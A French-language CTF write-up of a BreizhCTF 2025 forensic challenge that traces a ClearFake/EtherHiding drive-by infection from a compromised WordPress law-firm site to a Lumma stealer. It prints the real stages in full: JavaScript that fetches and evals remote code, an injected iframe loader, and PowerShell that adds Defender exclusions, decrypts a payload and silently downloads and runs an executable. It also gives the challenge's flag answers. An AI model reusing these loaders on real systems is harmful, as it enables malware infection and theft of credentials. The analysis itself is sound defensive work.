Clear Law

Forensic Mar 19, 2025

Pour l'édition 2025 du BreizhCTF, j'ai eu l'opportunité de créer les challenges de forensic.

Ce challenge-ci était classé comme Moyen et n'a été résolu que par 1 équipe parmi plus de 100 participantes.

Énoncé

Cela fait quelque temps que le manager de la branche américaine de votre entreprise fait face à des difficultés managériales avec certaines de ses nouvelles recrues. En essayant de trouver une solution, il est tombé sur le site www.r2kslaw.]com et selon lui, le site lui a apporté toutes les clés pour résoudre tous les conflits latents. Toutefois, depuis que votre manager s'est rendu sur ce site, un nombre de tentatives de connexion illégitime anormalement élevé a été observé sur ses comptes. Investigué pour trouver pourquoi.

Note : Le manager a visité le site le 26 Juin 2024 et les analyses ont commencé l’investigation le même jour à 16:38:00 UTC

Identifier le nom du script JS déposé sur le site compromis permettant le déclenchement du first stage de la killchain

Identifier le nom de la technique permettant le déclenchement du first stage de la killchain

Identifier les deux bornes min et max définissant le temps d’inactivité du script téléchargeant le dernier stage

Identifier l’endpoint commun à toutes les URL vers lesquelles le dernier stage du malware tente de faire une requête
Format : BZHCTF{flag}

Solution

Dans un premier temps si l’on se penche sur le contenu de l’ennoncé on peut identifier plusieurs informations utile, notament : la date 26 Juin 2024 et l’heure 16:38:00 UTC

Search - urlscan.io

image.png

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1. Identifier le nom du script JS déposé sur le site compromis permettant le déclenchement du first stage de la killchain | Identifier le nom de la technique permettant le déclenchement du first stage de la killchain

image.png

CLEARFAKE is the term used to describe the malicious in-browser JavaScript framework deployed on compromised webpages as part of drive-by compromise campaigns to deliver information stealers. It has the potential to impact all sectors. Read More.

“EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts

2. Identifier les deux borne min et max definissant le temps d’inactivité du script téléchargeant le dernier stage

image.png

urlscan.io

{"jsonrpc":"2.0","id":44,"result":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000ae85a6e56755933527062323467587a42344e6a566d4e69677065324e76626e4e3049463877654445354e7a686b4e6a31624a7a557a4d7a41354e58566e5a6d4e73517963734a334a6c63334276626e4e6c5647556e4c4363784e6a45344d546c5a516c4a695331496e4c4363784e58527251575272575363734a334e6c626d516e4c43646b5a47566b505363734a7a49774e6a67344f445278596b52776148496e4c4363334e5445784d54425a596c4e766446516e4c4363764f45393059554a794c7a39684a79776e4e7a417a4e54517754576845553370514a79776e4e45645764465234555363734a3268306448427a4f6938765a476b6e4c4363314f5463774e7a426953486c465932676e4c4363794d6c64566455356e525363734a795a3061484a6c595751394a79776e646e6c7159576b794c6e6835656963734a306446564363734a7a45794e7a63354f44593461555a48576c64694a79776e6233426c626963734a334a51655746304a79776e61314a706448496e4c4363784f455a5764316843637963734a7a49305955467661315a474a313037587a42344e6a566d4e6a316d6457356a64476c766269677065334a6c64485679626942664d4867784f5463345a445937665474795a585231636d3467587a42344e6a566d4e6967704f33316d6457356a64476c76626942664d4867304e6d49784b463877654445775a47557a5a4378664d486778597a6c6b4d6a677065324e76626e4e30494638776544673059544d79597a31664d4867324e5759324b436b37636d563064584a754946387765445132596a45395a6e5675593352706232346f587a42344d7a646b4f4459774c463877654456685a6d466b59536c37587a42344d7a646b4f4459775056387765444d335a4467324d43306f4d4867784d7a52694b7a42345a6d52684b6a42344d5373744d4867794d5751334b5474735a585167587a42344d5449775a574977505638776544673059544d79593174664d48677a4e3251344e6a42644f334a6c64485679626942664d4867784d6a426c596a4137665378664d4867304e6d49784b463877654445775a47557a5a4378664d486778597a6c6b4d6a67704f33306f5a6e5675593352706232346f587a42344e474a694d6a6c6a4c463877654445314f44426a5a536c375932397563335167587a42344e545577595445775056387765445132596a4573587a42344d5446694f446b795056387765445269596a4935597967704f33646f6157786c4b43456857313070653352796558746a6232357a644342664d4867304e7a646b5a5441394c584268636e4e6c535735304b463877654455314d4745784d4367776544453159796b704c79677765474d714d4867784f4745724d4867795a696f744d4867314f5373744d4867794d6a41714d4867784b53747759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e4759704b53386f4c5442344d5442684d797377654446684d4449724c5442344f54566b4b536f6f4c584268636e4e6c535735304b463877654455314d4745784d436777654445324d796b704c7967744d4867784b6930776544466b5a6d45724c5442344f536f744d4867794f5373744d4867785a6a59344b536b72634746796332564a626e516f587a42344e545577595445774b4442344d54526c4b536b764b4442344d5463714d4867784e3259724d4867324e796f744d4867784d5373744d486778596a686c4b536f6f4c584268636e4e6c535735304b463877654455314d4745784d436777654445315a696b704c796777654445714c5442345a6d55354b793077654445714d486778597a686b4b7a42344d6d4d3359696b704b79317759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e6a49704b53386f4d4867784b69307765444a6a596973744d4867794b6a42344d6d49354b7a42344f44517a4b537374634746796332564a626e516f587a42344e545577595445774b4442344d54566c4b536b764b4442344d544531595373776544457a4e6d45724d4867324d796f744d4867315a696b714b484268636e4e6c535735304b463877654455314d4745784d4367776544453159696b704c796777654445714d4867784d5749724c5442345a5751314b693077654445724c5442345a6d55344b536b724c584268636e4e6c535735304b463877654455314d4745784d4367776544453159536b704c7967776544453259537377654445314e7a49724c5442344d545a6b4d796b714b43317759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e5445704b53386f4c5442344d5756684e437377654749315a437377654445334b6a42345a4463704b53747759584a7a5a556c75644368664d4867314e5442684d54416f4d4867784e5449704b53386f4d4867785a5751304b793077654445714d4867784d5442684b793077654752695a696b714b484268636e4e6c535735304b463877654455314d4745784d436777654445314e696b704c796777654445714d4867794d3245314b7a4234593246694b793077654445344d6a49714d4867794b536b376157596f587a42344e4463335a47557750543039587a42344d5455344d474e6c4b574a795a5746724f32567363325567587a42344d5446694f446b795779647764584e6f4a31306f587a42344d5446694f446b795779647a61476c6d644364644b436b704f33316a5958526a614368664d4867784d7a517a4e4451706531387765444578596a67354d6c736e6348567a614364644b46387765444578596a67354d6c736e633268705a6e516e585367704b5474396658306f587a42344e6a566d4e6977744d48677a4e7a41794b693077654449324b7a42344d536f744d4867314d545a684e7973776547466d4b6a42344d546c6a4b53776f587a42344d6a5133596a4a6a4c463877654452694d4441305a6a306e6433416e4b54302b65324e76626e4e3049463877654451315957497a4e4431664d4867304e6d49784c463877654452684f546869596a31374a334a51655746304a7a70664d4867304e5746694d7a516f4d4867784e5455704c436472556d6c30636963365a6e5675593352706232346f587a4234596a4d775a4445314c463877654449324e6a59334d436c37636d563064584a75494638776547497a4d4751784e5368664d4867794e6a59324e7a41704f3331394f3374735a585167587a42344d6a4269596d526c5057356c647942595455784964485277556d56786457567a644367704f334a6c64485679626942664d4867794d474a695a475662587a42344e445668596a4d304b4442344d5455334b56306f587a42344e4745354f474a6957313877654451315957497a4e436777654445314f436c644c463877654451315957497a4e436777654445314d436b72587a42344e445668596a4d304b4442344d5455304b5374664d4867304e5746694d7a516f4d4867784e6a51704b313877654451315957497a4e436777654445324d536b72587a42344d6a5133596a4a6a4b313877654451315957497a4e436777654445314d796b72587a42344e4749774d44526d4c43456f4c5442344f536f7765444533596973744d4867784e5455714c5442344d6973744d48686d4b693077654749324b536b73587a42344d6a4269596d526c57313877654451315957497a4e436777654445324d436c644b473531624777704c463877654452684f546869596c74664d4867304e5746694d7a516f4d4867784e546b705853686c646d46734c46387765444977596d4a6b5a5674664d4867304e5746694d7a516f4d4867784e5751704b796434644364644b54743966536b37000000000000000000000000000000000000000000000000"}

image 2.png

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JavaScript Deobfuscator

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;(_0x247b2c, _0x4b004f = 'wp') => {  {    let _0x20bbde = new XMLHttpRequest()    return (      _0x20bbde.open(        'GET',        'https://divyjai2.xyz/8OtaBr/?added=' +          _0x247b2c +          '&thread=' +          _0x4b004f,        false      ),      _0x20bbde.send(null),      eval(_0x20bbde.responseText)    )  }}

Search - urlscan.io

image.png

divyjai2.xyz - urlscan.io

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urlscan.io

image 3.png

const url = 'https://divyjai2.xyz/bvxny6R6';
let iframe = document.createElement('iframe');
const remove_iframe = e => {
	'removetheiframe' == e.data && (iframe.parentNode.removeChild(iframe), document.body.removeAttribute('style'));
};
window.addEventListener('message', remove_iframe, !1);
const iframe_ready = e => {
		window.scrollTo(0, 0), iframe.style.display = 'block', iframe.style['margin-top'] = '', document.body.style.padding = '0', document.body.style.margin = '0', document.body.style.height = '0px', document.body.style.overflow = 'hidden', window.scrollTo(0, 0);
	}, create_iframe = () => {
		iframe.onload = iframe_ready, iframe.src = url, iframe.style.width = '100%', iframe.style.height = '100%', iframe.style.display = 'none', iframe.style.position = 'absolute', iframe.style['z-index'] = '99999999999', iframe.scrolling = 'no', document.head.parentNode.insertBefore(iframe, document.head);
	};
create_iframe();

Les recherches via urlscan.io quand au contenu télécharger via l’url hxxps://divyjai2.xyz/bvxny6R6 ne donne rien. De ce faite nous allons chercher via threatfox.abuse.ch :

image 4.png

On a par la même occasion la description d’une killchain similaire identifier par la personne qui à report le script.

A noter qu’au vu des informations donnée, on peut déduire que les différents site wordpress compromis distribue les même script de compromission

Search - urlscan.io

image.png

downloaddining.rest - urlscan.io

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function SOMGA {
    $t = Get-WmiObject Win32_PerfFormattedData_Counters_ThermalZoneInformation -Namespace "root\CIMV2"
    if ($t -ne $null) {
        foreach ($i in $t) {
            $c = $i.Temperature / 10.0
            $f = ($c * 9 / 5) + 32
            return ("{0:F2} C : {1:F2} F" -f $c, $f)
        }
    } else {
        [Environment]::Exit(1)
    }
}

SOMGA;

Set-Clipboard -Value " "

Add-MpPreference -ExclusionPath "$env:USERPROFILE\AppData"
Add-MpPreference -ExclusionPath "C:\ProgramData"

function FxC {
    param (
        [string]$p
    )
    $x = Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
    return $x -contains $p
}

$z1 = "$env:USERPROFILE\AppData"
$z2 = "C:\ProgramData"

do {
    Start-Sleep -Seconds 1
} until ((FxC -p $z1) -and (FxC -p $z2))

$x2fM3d = [ScriptBlock]::Create((('G'+'e'+'t') + '-' + ('D'+'a'+'t'+'e')))
$w9eR1a = ("f u n c t i o n   A { p a r a m ( $ x ) ; $ b = N e w - O b j e c t   B y t e [ ] ( $ x . L e n g t h / 2 ) ; f o r ( $ i = 0 ; $ i - l t $ b . L e n g t h ; $ i + + ) { $ b [ $ i ] = [ C o n v e r t ] : : T o B y t e ( $ x . S u b s t r i n g ( $ i * 2 , 2 ) , 1 6 ) } ; $ b } 
 f u n c t i o n   B { p a r a m ( [ P a r a m e t e r ( M a n d a t o r y = $ t r u e ) ] [ s t r i n g ] $ e , [ P a r a m e t e r ( M a n d a t o r y = $ t r u e ) ] [ s t r i n g ] $ k , [ P a r a m e t e r ( M a n d a t o r y = $ t r u e ) ] [ s t r i n g ] $ v ) ; $ d = N e w - O b j e c t   S y s t e m . T e x t . U T F 8 E n c o d i n g ; $ c = [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ e ) ; $ a = N e w - O b j e c t   S y s t e m . S e c u r i t y . C r y p t o g r a p h y . A e s M a n a g e d ; $ a . M o d e = [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . C i p h e r M o d e ] : : C B C ; $ a . P a d d i n g = [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . P a d d i n g M o d e ] : : P K C S 7 ; $ a . K e y S i z e = 1 2 8 ; $ a . B l o c k S i z e = 1 2 8 ; $ a . K e y = $ d . G e t B y t e s ( $ k ) ; $ a . I V = A   $ v ; $ t = $ a . C r e a t e D e c r y p t o r ( ) ; $ p = $ t . T r a n s f o r m F i n a l B l o c k ( $ c , 0 , $ c . L e n g t h ) ; $ d . G e t S t r i n g ( $ p ) } 
 $ k = [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " S j V Q R W I 2 W E p m b X l L V X F 2 N w = = " ) ) 
 $ v = [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " Y W M 0 N T l m N j Q y M T F m Y 2 Q 4 N T F j Z j B m N T d j M j Q z M D E y N z A = " ) ) 
 $ E = ' r V w L g w i u B Z G U 5 H U I X Z I v e s q B k L c 8 H A k 4 q o + O P j X m 0 Z m x I 3 S R g f T r Y F I Y 6 Q 4 Q Y / M Z G t / i L 7 N U c b g w E A Y u o M Y 1 w G 9 t V I 7 j + L I 1 1 T N N z w P M Z H L 7 N 2 6 g p v e X + O X m h 9 M n Q M k j 9 5 H 4 S 1 y s V N o M g C 8 j h m 7 b + / 5 k t 9 F P h I n q b o K q c L C 5 G x T G P T R Z l s F f I R u D P E 0 4 0 r 3 c t Q N T c 1 s S m v k 2 r P d R M v 6 w I L b t q O V r q O S 7 u u Z Q o F a l G M U s P C Z h n H d X G 7 j R I C y b K p K u N m m P / z i D a 4 j d q 7 m L G D h w s T s s w x Y 4 W 5 n N n r c w H 3 e v N y V 6 F L b I D c K y Y x X N K y q L h F K a k i e K l 8 V 8 F d 1 0 + z o v u 7 I + H Q v I 4 w L p k s n 0 K Q v s W / 2 n w j 3 7 d K V C l U D I 8 7 A U n P f J V f w E O a V V M y S / c z A Z Y 2 V 2 R A J x 0 b W 8 Y b y 8 3 J k Y t U o o w R Z i V g A u u 2 K 1 7 s 5 8 2 v r S G f n Z 8 q z u h K 3 y U E f d E g 6 J r F H t L / G 3 C / S h X A / h K C C / A O p m H p Z l Y g N 3 w e i g n q 2 X m 7 d O o t f 7 b X 2 d Z Y R C / 2 w q t E / K / w b j 9 O M 3 k y o h 8 B L p t Y s n v E 3 C w F e D j G a f 3 x G S j 1 A b 9 v d Y L x j h 5 N 9 r B r J v l g m d e i y v y t s 9 J c a X O R m l M 5 p T s R a u q 6 5 R r d w Q s J 5 a / Q 6 e c C b S d X c v 7 J P i l R v d h 3 H D r m F S B 0 4 2 R Y m 8 g b p s I P q I i / e x K 1 6 4 E T q k d n P K E h 0 D / b C e C J g e n a n n H E q r 9 4 U d d n S l y l A 8 Y i D K j 3 2 h 0 s p U z K 6 + 3 8 b W q G U I J C k 0 9 U c 7 W m h D L T m L L c K F a P r r K F g O D 7 Y h / 5 3 B 5 N P w 5 v X f I I a P a Z 8 9 G v b 5 K 4 0 f j k j 5 P K 9 q e L + + E a / K e 0 d f / D V g u I k b s E d M k s / S N G H l V C B 2 X u T d y s 7 I F n L D G F u D M n u 1 o q i Z k L M C N 3 0 L p 0 3 v Z o u l n T A y 6 s 6 V + B 2 Q y A l 0 F f G d C W o d y H z y z K P b G c F d 9 W F q I d C q H k Z N 4 T x F x C 2 W 9 x X M x P e T h E w c G 8 s X M w D 8 9 z 2 e 6 + M l L Q Y z 3 8 m g q J Z / B b w j U D L X N z Q k n a H s 9 Q t n Z F R a n h K 2 U e 5 X Q s 3 2 f d C T Y n C E 3 K w C u H i C f 7 / 9 f T e I c P 2 A K Y M u f 5 M R f L m J E O I / Z F E 5 1 e 7 f r Z L O x b g l a L j L w 7 R U w 2 y 3 L l f 2 X T / C x V 4 5 U I k N 8 I G W E m 6 o / H k Y Y R l Z j X I c 3 e A D z S 6 1 5 v B W + s 6 M a A K m t U Y 2 2 C B B 9 I Q g C / s J e d h u 0 s O 2 B t u W w V O s i 3 x I U D / g n 0 h 7 w g S E q s t p t F 3 X x M h O Y q G x m N z R V q q 7 d x T 3 8 b R 4 / w l t l p i p J f F L v D O L 3 7 v C 5 G Z O n L D + G x N l Q 7 w o G + t 6 P H c u q 9 O n A p N Z z q D D h U W o a S Q / p B C u b g P a 7 z + N 5 c f a F I 3 P i 4 x 5 E + s / S q j s w Z k e 5 h x P k V j l 8 n P f r n 6 e p r 8 V b x M j 3 I 9 s n U m S n 9 5 q m 2 3 S Y E W B + N k 8 R d L D 4 L D e z + j R 8 H T F j w Y l H q d R K A t A o V T o L L C v Q k h o 2 f o F a m 5 h 5 U d u V p 9 k 8 m u X u q 5 a + a p i S y o b a 8 r v 0 n c n n + i + 0 X y U p G m a + H c V 2 W Q s a o + w P 2 I Q Z y A 0 I m R t G O y c q x p 6 J G S 8 f F j 3 W p O B z t 1 h o A x 0 W w Y z h T N t i 0 m O p Z w i a D 8 k h K K b T h Z A K P Y Z E 7 8 Z y J w w q b y E V V 7 4 k D p U r a T I f a 7 6 X Q w l W b i M y C b 2 d V M + l 4 4 R e p U p A c M 0 t 4 S E w 8 f A x H n l P u c k l N A p s D / Z B z 2 n D t k x f Z R j R o 8 h B E s C 7 y 7 2 Y T R Y J f Y s c I W z a y w 5 E 3 7 Q K M A q Q a t h u f v f v D t S Y / M G 5 A / z 6 a e E z x 3 g 4 t f W B w 0 K q 7 M M X c H j 4 m o K Q 7 W h g m U S d M R q W 3 b G U S I 3 g W a C J H j f G s n + Y w H E 1 a t w m q 8 t q N 7 D I C d d J s X N 4 b O e L N Z s 8 3 6 P k Z + v T E 1 A U e C 1 B w y r G e g l s 1 c r f E N 9 F W Q 6 G R P g s 4 O C h O H k o c G v v G a h L j Y 2 p O O g k V B 0 L h N R T j 4 B p I 8 c o T t M / 3 C T v F U 6 t G K C + l B S T U w X p V E h h 3 3 H G + G a r o L r l / J p 4 N l N y e T m E w N H W g C c k D B 5 7 w S R i M t k N d D B N a t l d + x T 3 8 z U f X L T 3 U Y b e 6 q U I N c S c 9 w X k x 5 7 e 0 4 + h T e J C d T + p Z a c u S v E B I 4 w I H v f c l s 8 u j x P k V P M I q W W t s J I i o p 4 t P Y J Q 5 a K + P K 6 y d j U U V q t C m a 7 1 4 M k P V b i v H 0 D S R H W i 3 U S g T o q G F R T N 6 H c y j 2 x / Y g X P y X w 2 Y V h n e t n 5 J u 9 n k f Z W I u o e 7 h z N i f S h y j i f N A H N S l f 7 R / z n 5 d E 1 Z m n b b o X q p o S P L n t X g v 2 b F E G 5 N 0 2 W + j Y t h T U R q z c x T j o k K J k u X Y A Z g = = ' 
 $ D = B   - e   $ E   - k   $ k   - v   $ v 
 I E X   $ D ; ")
$y6uL4q = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($w9eR1a))
$k3mV5x = [ScriptBlock]::Create($y6uL4q)
$j4bN2t = $x2fM3d.Ast
$z7qX1w = $k3mV5x.Ast
$h9gP3d = $j4bN2t.Copy()
$v2mL4k = $z7qX1w.EndBlock.Copy()
$s1dR6j = [System.Management.Automation.Language.ScriptBlockAst]::new(
    $h9gP3d.Extent,
    $null,
    $null,
    $null,
    $v2mL4k,
    $null
)
$r3gY2aBlock = $s1dR6j.GetScriptBlock()
$r3gY2aBlock.Invoke() | Out-String

On a un premier script avec une seconde charge

image.png

function A {
    param($x);
    $b = New - Object Byte[]($x.Length / 2);
    for($i = 0;
    $i - lt$b.Length;
    $i++) {
        $b[$i] = [Convert]::ToByte($x.Substring($i * 2, 2), 16)
    };
    $b
}

function B {
    param([Parameter(Mandatory = $true)][string]$e, [Parameter(Mandatory = $true)][string]$k, [Parameter(Mandatory = $true)][string]$v);
    $d = New - Object System.Text.UTF8Encoding;
    $c = [Convert]::FromBase64String($e);
    $a = New - Object System.Security.Cryptography.AesManaged;
    $a.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $a.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
    $a.KeySize = 128;
    $a.BlockSize = 128;
    $a.Key = $d.GetBytes($k);
    $a.IV = A $v;
    $t = $a.CreateDecryptor();
    $p = $t.TransformFinalBlock($c, 0, $c.Length);
    $d.GetString($p)
}

$k = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SjVQRWI2WEpmbXlLVXF2Nw=="))
$v = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("YWM0NTlmNjQyMTFmY2Q4NTFjZjBmNTdjMjQzMDEyNzA="))
$E = 'rVwLgwiuBZGU5HUIXZIvesqBkLc8HAk4qo+OPjXm0ZmxI3SRgfTrYFIY6Q4QY/MZGt/iL7NUcbgwEAYuoMY1wG9tVI7j+LI11TNNzwPMZHL7N26gpveX+OXmh9MnQMkj95H4S1ysVNoMgC8jhm7b+/5kt9FPhInqboKqcLC5GxTGPTRZlsFfIRuDPE040r3ctQNTc1sSmvk2rPdRMv6wILbtqOVrqOS7uuZQoFalGMUsPCZhnHdXG7jRICybKpKuNmmP/ziDa4jdq7mLGDhwsTsswxY4W5nNnrcwH3evNyV6FLbIDcKyYxXNKyqLhFKakieKl8V8Fd10+zovu7I+HQvI4wLpksn0KQvsW/2nwj37dKVClUDI87AUnPfJVfwEOaVVMyS/czAZY2V2RAJx0bW8Yby83JkYtUoowRZiVgAuu2K17s582vrSGfnZ8qzuhK3yUEfdEg6JrFHtL/G3C/ShXA/hKCC/AOpmHpZlYgN3weignq2Xm7dOotf7bX2dZYRC/2wqtE/K/wbj9OM3kyoh8BLptYsnvE3CwFeDjGaf3xGSj1Ab9vdYLxjh5N9rBrJvlgmdeiyvyts9JcaXORmlM5pTsRauq65RrdwQsJ5a/Q6ecCbSdXcv7JPilRvdh3HDrmFSB042RYm8gbpsIPqIi/exK164ETqkdnPKEh0D/bCeCJgenannHEqr94UddnSlylA8YiDKj32h0spUzK6+38bWqGUIJCk09Uc7WmhDLTmLLcKFaPrrKFgOD7Yh/53B5NPw5vXfIIaPaZ89Gvb5K40fjkj5PK9qeL++Ea/Ke0df/DVguIkbsEdMks/SNGHlVCB2XuTdys7IFnLDGFuDMnu1oqiZkLMCN30Lp03vZoulnTAy6s6V+B2QyAl0FfGdCWodyHzyzKPbGcFd9WFqIdCqHkZN4TxFxC2W9xXMxPeThEwcG8sXMwD89z2e6+MlLQYz38mgqJZ/BbwjUDLXNzQknaHs9QtnZFRanhK2Ue5XQs32fdCTYnCE3KwCuHiCf7/9fTeIcP2AKYMuf5MRfLmJEOI/ZFE51e7frZLOxbglaLjLw7RUw2y3Llf2XT/CxV45UIkN8IGWEm6o/HkYYRlZjXIc3eADzS615vBW+s6MaAKmtUY22CBB9IQgC/sJedhu0sO2BtuWwVOsi3xIUD/gn0h7wgSEqstptF3XxMhOYqGxmNzRVqq7dxT38bR4/wltlpipJfFLvDOL37vC5GZOnLD+GxNlQ7woG+t6PHcuq9OnApNZzqDDhUWoaSQ/pBCubgPa7z+N5cfaFI3Pi4x5E+s/SqjswZke5hxPkVjl8nPfrn6epr8VbxMj3I9snUmSn95qm23SYEWB+Nk8RdLD4LDez+jR8HTFjwYlHqdRKAtAoVToLLCvQkho2foFam5h5UduVp9k8muXuq5a+apiSyoba8rv0ncnn+i+0XyUpGma+HcV2WQsao+wP2IQZyA0ImRtGOycqxp6JGS8fFj3WpOBzt1hoAx0WwYzhTNti0mOpZwiaD8khKKbThZAKPYZE78ZyJwwqbyEVV74kDpUraTIfa76XQwlWbiMyCb2dVM+l44RepUpAcM0t4SEw8fAxHnlPucklNApsD/ZBz2nDtkxfZRjRo8hBEsC7y72YTRYJfYscIWzayw5E37QKMAqQathufvfvDtSY/MG5A/z6aeEzx3g4tfWBw0Kq7MMXcHj4moKQ7WhgmUSdMRqW3bGUSI3gWaCJHjfGsn+YwHE1atwmq8tqN7DICddJsXN4bOeLNZs836PkZ+vTE1AUeC1BwyrGegls1crfEN9FWQ6GRPgs4OChOHkocGvvGahLjY2pOOgkVB0LhNRTj4BpI8coTtM/3CTvFU6tGKC+lBSTUwXpVEhh33HG+GaroLrl/Jp4NlNyeTmEwNHWgCckDB57wSRiMtkNdDBNatld+xT38zUfXLT3UYbe6qUINcSc9wXkx57e04+hTeJCdT+pZacuSvEBI4wIHvfcls8ujxPkVPMIqWWtsJIiop4tPYJQ5aK+PK6ydjUUVqtCma714MkPVbivH0DSRHWi3USgToqGFRTN6Hcyj2x/YgXPyXw2YVhnetn5Ju9nkfZWIuoe7hzNifShyjifNAHNSlf7R/zn5dE1ZmnbboXqpoSPLntXgv2bFEG5N02W+jYthTURqzcxTjokKJkuXYAZg=='
$D = B  - e $E  - k $k  - v $v
IEX $D;

On remplace IEX par Write-Host puis on utilise tio.run

$XxZ = {
    $Rz = Get-Random -Minimum 3100 -Maximum 5100
    Start-Sleep -Milliseconds $Rz
    $Pz = 'Tls12, Tls11, Tls, Ssl3'
    $Sz = $Pz -split ', ' | ForEach-Object { [Net.SecurityProtocolType]::$_ } | ForEach-Object -Begin { $Vz = 0 } -Process { $Vz = $Vz -bor $_ } -End { $Vz }
    [Net.ServicePointManager]::SecurityProtocol = $Sz
    $Mz = (Get-Process -Id $PID | Select-Object @{Name='Zz'; Expression={($_.ws / 1MB)}}).Zz
    if ($Mz -lt 250) { $Nz = 'b' * 300MB }
    Add-Type -AssemblyName System.Net.Http
    Add-Type -AssemblyName System.IO.Compression.FileSystem
    $Hz = New-Object System.Net.Http.HttpClient
    $Uz = 'https://downloaddining.rest/df/ENC'
    $Kz = [System.IO.Path]::GetRandomFileName() + '.zip'
    $Qz = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), $Kz)
    $Bz = $Hz.GetByteArrayAsync($Uz)
    $Bz.Wait()
    [System.IO.File]::WriteAllBytes($Qz, $Bz.Result)
    $Fz = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('ApplicationData'), [System.IO.Path]::GetRandomFileName())
    [System.IO.Directory]::CreateDirectory($Fz)
    Start-Sleep -Milliseconds $Rz
    [System.IO.Compression.ZipFile]::ExtractToDirectory($Qz, $Fz)
    Start-Sleep -Milliseconds $Rz
    $Ez = Get-ChildItem -Path $Fz -Filter *.exe -Recurse | Select-Object -First 1
    if ($Ez -ne $null) {
        $Pz = New-Object System.Diagnostics.Process
        $Pz.StartInfo.FileName = $Ez.FullName
        $Pz.StartInfo.UseShellExecute = $false
        $Pz.StartInfo.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
        $Pz.Start()
    }
}
$XxZ.Invoke() | Out-Null
    $Rz = Get-Random -Minimum 3100 -Maximum 5100

3. Identifier l’endpoint commun à tout les urls vers lequel le dernier stage du malware tente de faire une requete

image.png

downloaddining.rest - urlscan.io

lumma | 384d1185d248d647cc639c24f082412950b1bb2413c49e152257b8fc1a42468c | Triage

image 5.png

Format : BZHCTF{md5{script.js|nomdelatechnique|bornemin-bornemax|endpoint}}

Flag :

BZHCTF{ethers-5.2.umd.min.js|etherhiding|3100-5100|api}

BZHCTF{1e16b0a1ff9f0733fd961b55b5dce974}

4. Analyse complémentaire

Lors de l’analyse réaliser j’ai identifier 3 scan du nom de domaine qui ne comportait pas les même artefacts que les autres scans

www.r2kslaw.com - urlscan.io

urlscan.io

CyberChef

CyberChef

image 6.png

Toutefois je n’ai pas reussi à identifier la suite de la killchain en passant par ce nom de domaine.

Ces deux scans ont été fait mais ne contiennent pas les traces de compromissions type de l’attaquant

r2kslaw.com - urlscan.io

www.r2kslaw.com - urlscan.io

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